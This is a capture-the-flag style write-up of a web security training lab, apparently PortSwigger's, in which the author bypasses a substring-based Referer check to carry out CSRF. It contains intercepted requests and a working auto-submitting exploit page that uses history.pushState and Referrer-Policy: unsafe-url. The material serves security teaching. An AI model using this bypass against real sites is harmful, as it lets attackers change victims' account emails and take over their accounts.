CSRF with broken Referer validation

Description

This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

Approach

After accessing the lab and logging in as the wiener user, I intercepted the change email request and sent it to the repeater for further analysis:

POST /my-account/change-email HTTP/2
Host: 0aff002e04e1335483eb827600d00030.web-security-academy.net
Cookie: session=f1uKEJDVcyqIDZlpygFXTC4DGWbRFJys
...
Referer: https://0aff002e04e1335483eb827600d00030.web-security-academy.net
...

email=test%40tedt.test

I noticed that if I deleted the Referer header, the server responded with an error: "Invalid referer header". To test how the server validates the Referer URL, I added .com at the end:

Referer: https://0aff002e04e1335483eb827600d00030.web-security-academy.net.com

This request went through, suggesting the server checks if the domain matches the lab URL. For further analysis, I used my exploit server URL and added the lab URL as a parameter at the end:

Referer: https://exploit-0a6b0046044033eb834181800169009a.exploit-server.net/exploit?0aff002e04e1335483eb827600d00030.web-security-academy.net

This request also went through, confirming that the server only checks for the presence of the lab URL string in the Referer header. Using this information, I crafted the following CSRF exploit:

<html>
  <body>
    <script>history.pushState('','','/?0aff002e04e1335483eb827600d00030.web-security-academy.net')</script>
    <form action="https://0aff002e04e1335483eb827600d00030.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="iaaa&#64;candthis&#46;htb" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Nothing special compared to the previous labs' script, except the pushState function has a different parameter value:

history.pushState('','','/?0aff002e04e1335483eb827600d00030.web-security-academy.net')

Let me explain: the third parameter of the pushState function is the URL to be displayed in the address bar. When executed, it updates the browser's address bar to display the new URL without reloading the page. This means when the form auto-submits and the POST request is sent, the Referer header will contain the URL present in the browser's address bar.

However, I encountered a simple issue when attempting to store and test this exploit. It still resulted in an "invalid referer header" error. This occurs because browsers strip the query string from the referer header by default. To address this, I added a referer policy to the Head section of my exploit page:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url

With this policy in place, the browser includes the full URL, including the query string, in the referer header.

Here's how the body of my page looks:

<html>
  <body>
    <script>history.pushState('','','/?0aff002e04e1335483eb827600d00030.web-security-academy.net')</script>>
    <form action="https://0aff002e04e1335483eb827600d00030.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="iaaa&#64;candthis&#46;htb" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Upon clicking "Store" and "Deliver exploit to victim," the lab is solved, confirming that the victim's email has been changed.

P.S.: Remember to change the email each time you test your exploit to avoid encountering any reuse errors.